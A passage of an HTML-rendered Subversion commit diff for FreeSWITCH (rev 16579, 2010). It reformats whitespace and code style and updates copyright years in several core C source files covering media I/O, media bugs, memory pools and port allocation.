</ins><span class="cx">                 case SWITCH_STATUS_NOOP:
</span><span class="cx">                         if (session->write_resampler) {
</span><span class="cx">                                 switch_mutex_lock(session->resample_mutex);
</span><span class="lines">@@ -718,39 +719,41 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (ptime_mismatch) {
</span><span class="cx">                                 status = perform_write(session, frame, flags, stream_id);
</span><del>-                                status = SWITCH_STATUS_SUCCESS; goto error;
</del><ins>+                                status = SWITCH_STATUS_SUCCESS;
+                                goto error;
</ins><span class="cx">                         }
</span><del>-                                
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n", frame->codec->codec_interface->interface_name);
</del><ins>+
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n",
+                                                         frame->codec->codec_interface->interface_name);
</ins><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (session->write_resampler) {
</span><span class="cx">                 short *data = write_frame->data;
</span><span class="cx">
</span><span class="cx">                 switch_mutex_lock(session->resample_mutex);
</span><span class="cx">                 if (session->write_resampler) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_resample_process(session->write_resampler, data, write_frame->datalen / 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         memcpy(data, session->write_resampler->to, session->write_resampler->to_len * 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame->samples = session->write_resampler->to_len;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame->datalen = write_frame->samples * 2;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame->rate = session->write_resampler->to_rate;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         did_write_resample = 1;
</span><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(session->resample_mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (session->bugs && !switch_channel_test_flag(session->channel, CF_PAUSE_BUGS)) {
</span><span class="cx">                 switch_media_bug_t *bp;
</span><span class="cx">                 int prune = 0;
</span><span class="lines">@@ -820,10 +823,10 @@
</span><span class="cx">                         perfect = TRUE;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 if (perfect) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (write_frame->datalen < session->write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                                 memset(write_frame->data, 255, session->write_impl.decoded_bytes_per_packet - write_frame->datalen);
</span><span class="cx">                                 write_frame->datalen = session->write_impl.decoded_bytes_per_packet;
</span><span class="lines">@@ -840,8 +843,8 @@
</span><span class="cx">                                                                                          session->enc_write_frame.data, &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
</span><span class="cx">
</span><span class="cx">
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         switch (status) {
</span><span class="cx">                         case SWITCH_STATUS_RESAMPLE:
</span><span class="cx">                                 resample++;
</span><span class="lines">@@ -874,7 +877,7 @@
</span><span class="cx">                         case SWITCH_STATUS_NOT_INITALIZED:
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
</span><span class="cx">                                 write_frame = NULL;
</span><del>-                                goto error;                                        
</del><ins>+                                goto error;
</ins><span class="cx">                         default:
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s encoder error!\n",
</span><span class="cx">                                                                  session->read_codec->codec_interface->interface_name);
</span><span class="lines">@@ -900,15 +903,16 @@
</span><span class="cx">                                         goto error;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(switch_buffer_write(session->raw_write_buffer, write_frame->data, write_frame->datalen))) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Write Buffer %u bytes Failed!\n", write_frame->datalen);
</span><del>-                                status = SWITCH_STATUS_MEMERR; goto error;
</del><ins>+                                status = SWITCH_STATUS_MEMERR;
+                                goto error;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>-                        while(switch_buffer_inuse(session->raw_write_buffer) >= session->write_impl.decoded_bytes_per_packet) {
</del><ins>+                        while (switch_buffer_inuse(session->raw_write_buffer) >= session->write_impl.decoded_bytes_per_packet) {
</ins><span class="cx">                                 int rate;
</span><span class="cx">
</span><span class="cx">                                 if (switch_channel_down(session->channel) || !session->raw_write_buffer) {
</span><span class="lines">@@ -918,29 +922,27 @@
</span><span class="cx">                                          switch_buffer_read(session->raw_write_buffer, session->raw_write_frame.data, session->write_impl.decoded_bytes_per_packet)) == 0) {
</span><span class="cx">                                         goto error;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 enc_frame = &session->raw_write_frame;
</span><span class="cx">                                 session->raw_write_frame.rate = session->write_impl.actual_samples_per_second;
</span><span class="cx">                                 session->enc_write_frame.datalen = session->enc_write_frame.buflen;
</span><span class="cx">                                 session->enc_write_frame.timestamp = 0;
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (frame->codec && frame->codec->implementation && switch_core_codec_ready(frame->codec)) {
</span><span class="cx">                                         rate = frame->codec->implementation->actual_samples_per_second;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         rate = session->write_impl.actual_samples_per_second;
</span><span class="cx">                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 status = switch_core_codec_encode(session->write_codec,
</span><span class="cx">                                                                                                  frame->codec,
</span><span class="cx">                                                                                                  enc_frame->data,
</span><span class="cx">                                                                                                  enc_frame->datalen,
</span><span class="cx">                                                                                                  rate,
</span><del>-                                                                                                 session->enc_write_frame.data,
-                                                                                                 &session->enc_write_frame.datalen,
-                                                                                                 &session->enc_write_frame.rate, &flag);
</del><ins>+                                                                                                 session->enc_write_frame.data, &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
</ins><span class="cx">
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch (status) {
</span><span class="cx">                                 case SWITCH_STATUS_RESAMPLE:
</span><span class="cx">                                         resample++;
</span><span class="lines">@@ -955,14 +957,13 @@
</span><span class="cx">                                                 if (!session->write_resampler) {
</span><span class="cx">                                                         status = switch_resample_create(&session->write_resampler,
</span><span class="cx">                                                                                                                         frame->codec->implementation->actual_samples_per_second,
</span><del>-                                                                                                                        session->write_impl.actual_samples_per_second,
-                                                                                                                        session->write_impl.decoded_bytes_per_packet,
-                                                                                                                        SWITCH_RESAMPLE_QUALITY, 1);
</del><ins>+                                                                                                                        session->write_impl.actual_samples_per_second,
+                                                                                                                        session->write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 switch_mutex_unlock(session->resample_mutex);
</span><span class="cx">
</span><del>-                                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1021,7 +1022,7 @@
</span><span class="cx">                                 if (flag & SFF_CNG) {
</span><span class="cx">                                         switch_set_flag(write_frame, SFF_CNG);
</span><span class="cx">                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 if (ptime_mismatch || resample) {
</span><span class="cx">                                         write_frame->timestamp = 0;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1031,27 +1032,27 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                
</del><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-        
- done:
</del><span class="cx">
</span><ins>+
+ done:
+
</ins><span class="cx">         if (ptime_mismatch || resample) {
</span><span class="cx">                 write_frame->timestamp = 0;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (do_write) {
</span><del>-                status = perform_write(session, write_frame, flags, stream_id);                
</del><ins>+                status = perform_write(session, write_frame, flags, stream_id);
</ins><span class="cx">         }
</span><del>-        
- error:
</del><span class="cx">
</span><ins>+ error:
+
</ins><span class="cx">         switch_mutex_unlock(session->write_codec->mutex);
</span><span class="cx">         switch_mutex_unlock(frame->codec->mutex);
</span><span class="cx">         switch_mutex_unlock(session->codec_write_mutex);
</span><span class="lines">@@ -1073,8 +1074,8 @@
</span><span class="cx">         switch_io_event_hook_kill_channel_t *ptr;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Send signal %s [%s]\n", switch_channel_get_name(session->channel),
-                                         SIG_NAMES[sig]);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Send signal %s [%s]\n",
+                                         switch_channel_get_name(session->channel), SIG_NAMES[sig]);
</ins><span class="cx">
</span><span class="cx">         if (session->endpoint_interface->io_routines->kill_channel) {
</span><span class="cx">                 if ((status = session->endpoint_interface->io_routines->kill_channel(session, sig)) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1230,7 +1231,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s send dtmf\ndigit=%c ms=%u samples=%u\n",
</span><span class="cx">                                                                          switch_channel_get_name(session->channel), dtmf.digit, dur, dtmf.duration);
</span><span class="cx">                                         sent++;
</span><del>-                                        dur_total += dtmf.duration + 2000; /* account for 250ms pause */
</del><ins>+                                        dur_total += dtmf.duration + 2000;        /* account for 250ms pause */
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_media_bugc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_media_bug.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_media_bug.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_media_bug.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">         size_t rlen = 0;
</span><span class="cx">         size_t wlen = 0;
</span><span class="cx">         uint32_t blen;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int16_t *tp;
</span><span class="cx">
</span><span class="cx">         switch_core_session_get_read_impl(bug->session, &read_impl);
</span><span class="lines">@@ -147,12 +147,14 @@
</span><span class="cx">         bytes = read_impl.decoded_bytes_per_packet;
</span><span class="cx">
</span><span class="cx">         if (frame->buflen < bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s frame buffer too small!\n", switch_channel_get_name(bug->session->channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s frame buffer too small!\n",
+                                                 switch_channel_get_name(bug->session->channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(bug->raw_read_buffer && (bug->raw_write_buffer || !switch_test_flag(bug, SMBF_WRITE_STREAM)))) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s Buffer Error\n", switch_channel_get_name(bug->session->channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s Buffer Error\n",
+                                                 switch_channel_get_name(bug->session->channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -167,14 +169,14 @@
</span><span class="cx">         frame->datalen = (uint32_t) switch_buffer_read(bug->raw_read_buffer, frame->data, bytes);
</span><span class="cx">         ttl += frame->datalen;
</span><span class="cx">         switch_mutex_unlock(bug->read_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
</span><span class="cx">                 switch_assert(bug->raw_write_buffer);
</span><span class="cx">                 switch_mutex_lock(bug->write_mutex);
</span><span class="cx">                 datalen = (uint32_t) switch_buffer_read(bug->raw_write_buffer, bug->data, bytes);
</span><span class="cx">                 ttl += datalen;
</span><span class="cx">                 if (fill && datalen < bytes) {
</span><del>-                        memset(((unsigned char *)bug->data) + datalen, 0, bytes - datalen);
</del><ins>+                        memset(((unsigned char *) bug->data) + datalen, 0, bytes - datalen);
</ins><span class="cx">                         datalen = bytes;
</span><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(bug->write_mutex);
</span><span class="lines">@@ -194,7 +196,7 @@
</span><span class="cx">                 frame->codec = NULL;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(bug, SMBF_STEREO)) {
</span><span class="cx">                 for (x = 0; x < blen; x++) {
</span><span class="cx">                         if (x < rlen) {
</span><span class="lines">@@ -214,10 +216,10 @@
</span><span class="cx">                         int32_t z = 0;
</span><span class="cx">
</span><span class="cx">                         if (x < rlen) {
</span><del>-                                z += (int32_t) *(fp + x);
</del><ins>+                                z += (int32_t) * (fp + x);
</ins><span class="cx">                         }
</span><span class="cx">                         if (x < wlen) {
</span><del>-                                z += (int32_t) *(dp + x);
</del><ins>+                                z += (int32_t) * (dp + x);
</ins><span class="cx">                         }
</span><span class="cx">                         switch_normalize_to_16bit(z);
</span><span class="cx">                         *(fp + x) = (int16_t) z / 2;
</span><span class="lines">@@ -232,7 +234,7 @@
</span><span class="cx">         frame->samples = bytes / sizeof(int16_t);
</span><span class="cx">         frame->rate = read_impl.actual_samples_per_second;
</span><span class="cx">         frame->codec = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -243,8 +245,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_media_bug_t *bug;        //, *bp;
</span><span class="cx">         switch_size_t bytes;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-        switch_codec_implementation_t write_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_codec_implementation_t write_impl = { 0 };
</ins><span class="cx">         const char *p;
</span><span class="cx">
</span><span class="cx">         if (!switch_channel_media_ready(session->channel)) {
</span><span class="lines">@@ -262,7 +264,6 @@
</span><span class="cx">         if ((p = switch_channel_get_variable(session->channel, "media_bug_answer_req")) && switch_true(p)) {
</span><span class="cx">                 flags |= SMBF_ANSWER_REQ;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         if (flags & SMBF_WRITE_REPLACE) {
</span><span class="cx">                 switch_thread_rwlock_wrlock(session->bug_rwlock);
</span><span class="lines">@@ -325,7 +326,8 @@
</span><span class="cx">                 switch_bool_t result = bug->callback(bug, bug->user_data, SWITCH_ABC_TYPE_INIT);
</span><span class="cx">                 if (result == SWITCH_FALSE) {
</span><span class="cx">                         switch_core_media_bug_destroy(bug);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error attaching BUG to %s\n", switch_channel_get_name(session->channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error attaching BUG to %s\n",
+                                                         switch_channel_get_name(session->channel));
</ins><span class="cx">                         return SWITCH_STATUS_GENERR;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -405,7 +407,8 @@
</span><span class="cx">                         bp->ready = 0;
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_media_bug_destroy(bp);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, "Removing BUG from %s\n", switch_channel_get_name(bp->session->channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, "Removing BUG from %s\n",
+                                                 switch_channel_get_name(bp->session->channel));
</ins><span class="cx">                 *bug = NULL;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -437,7 +440,7 @@
</span><span class="cx">                         status = switch_core_media_bug_close(&bp);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&session->bug_codec);
</span><span class="cx">                 memset(&session->bug_codec, 0, sizeof(session->bug_codec));
</span><span class="lines">@@ -454,7 +457,7 @@
</span><span class="cx">         int ttl = 0;
</span><span class="cx">
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         if (session->bugs) {
</span><span class="cx">                 switch_thread_rwlock_wrlock(session->bug_rwlock);
</span><span class="lines">@@ -477,7 +480,7 @@
</span><span class="cx">                         goto top;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&session->bug_codec);
</span><span class="cx">                 memset(&session->bug_codec, 0, sizeof(session->bug_codec));
</span><span class="lines">@@ -494,7 +497,7 @@
</span><span class="cx">
</span><span class="cx">         if (session->bugs) {
</span><span class="cx">                 switch_thread_rwlock_wrlock(session->bug_rwlock);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 bp = session->bugs;
</span><span class="cx">                 while (bp) {
</span><span class="cx">                         cur = bp;
</span><span class="lines">@@ -515,7 +518,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_thread_rwlock_unlock(session->bug_rwlock);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&session->bug_codec);
</span><span class="cx">                 memset(&session->bug_codec, 0, sizeof(session->bug_codec));
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_memoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_memory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_memory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_memory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -80,7 +80,8 @@
</span><span class="cx">
</span><span class="cx"> #ifdef DEBUG_ALLOC
</span><span class="cx">         if (memory > 500)
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Session Allocate %d\n", (int) memory);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Session Allocate %d\n",
+                                                 (int) memory);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         ptr = apr_palloc(session->pool, memory);
</span><span class="lines">@@ -142,7 +143,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -213,8 +213,8 @@
</span><span class="cx">         char *result;
</span><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         result = switch_core_vsprintf(pool, fmt, ap);
</span><del>-        va_end(ap);        
-        
</del><ins>+        va_end(ap);
+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -234,7 +234,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -242,16 +241,17 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef DEBUG_ALLOC
</span><span class="cx">         len = strlen(todup);
</span><span class="cx">         if (len > 500)
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Sess Strdup Allocate %d\n", (int) len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Sess Strdup Allocate %d\n",
+                                                 (int) len);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         duped = apr_pstrdup(session->pool, todup);
</span><span class="cx">         switch_assert(duped != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_unlock(memory_manager.mem_lock);
</span><span class="lines">@@ -274,7 +274,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -362,7 +361,7 @@
</span><span class="cx">                 apr_allocator_owner_set(my_allocator, *pool);
</span><span class="cx">
</span><span class="cx">                 apr_pool_mutex_set(*pool, my_mutex);
</span><del>-                
</del><ins>+
</ins><span class="cx"> #else
</span><span class="cx">                 apr_pool_create(pool, NULL);
</span><span class="cx">                 switch_assert(*pool != NULL);
</span><span class="lines">@@ -390,7 +389,6 @@
</span><span class="cx">         if (switch_core_memory_pool_get_data(*pool, "_in_thread")) {
</span><span class="cx">                 switch_cache_db_detach();
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_ALLOC2
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, "Free Pool\n");
</span><span class="cx"> #endif
</span><span class="lines">@@ -406,11 +404,11 @@
</span><span class="cx"> #else
</span><span class="cx">         if ((memory_manager.pool_thread_running != 1) || (switch_queue_push(memory_manager.pool_queue, *pool) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                 apr_pool_destroy(*pool);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -465,11 +463,11 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                 apr_pool_destroy(pool);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -496,20 +494,19 @@
</span><span class="cx">                                         done = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-
</del><span class="cx"> #if defined(PER_POOL_LOCK) || defined(DESTROY_POOLS)
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                                 apr_pool_destroy(pop);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx"> #else
</span><span class="cx">                                 apr_pool_clear(pop);
</span><span class="cx">                                 if (switch_queue_trypush(memory_manager.pool_recycle_queue, pop) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                                        switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                                         apr_pool_destroy(pop);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="lines">@@ -538,7 +535,7 @@
</span><span class="cx">                 void *pop = NULL;
</span><span class="cx">                 while (switch_queue_trypop(memory_manager.pool_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                        switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                         apr_pool_destroy(pop);
</span><span class="cx">                         pop = NULL;
</span><span class="lines">@@ -613,7 +610,7 @@
</span><span class="cx"> #ifdef INSTANTLY_DESTROY_POOLS
</span><span class="cx">         {
</span><span class="cx">                 void *foo;
</span><del>-                foo = (void*)(intptr_t)pool_thread;
</del><ins>+                foo = (void *) (intptr_t) pool_thread;
</ins><span class="cx">         }
</span><span class="cx"> #else
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_port_allocatorc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_port_allocator.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_port_allocator.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_port_allocator.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -118,23 +118,22 @@
</span><span class="cx">         int odd = switch_test_flag(alloc, SPF_ODD);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(alloc->mutex);
</span><del>-        srand((unsigned)((unsigned)(intptr_t)port_ptr + (unsigned)(intptr_t)switch_thread_self() + switch_micro_time_now()));
</del><ins>+        srand((unsigned) ((unsigned) (intptr_t) port_ptr + (unsigned) (intptr_t) switch_thread_self() + switch_micro_time_now()));
</ins><span class="cx">
</span><span class="cx">         while (alloc->track_used < alloc->track_len) {
</span><span class="cx">                 uint32_t index;
</span><span class="cx">                 uint32_t tries = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* randomly pick a port */
</span><span class="cx">                 index = rand() % alloc->track_len;
</span><span class="cx">
</span><span class="cx">                 /* if it is used walk up the list to find a free one */
</span><del>-                while (alloc->track[index] && tries < alloc->track_len)
-                {
</del><ins>+                while (alloc->track[index] && tries < alloc->track_len) {
</ins><span class="cx">                         tries++;
</span><span class="cx">                         if (alloc->track[index] < 0) {
</span><span class="cx">                                 alloc->track[index]++;
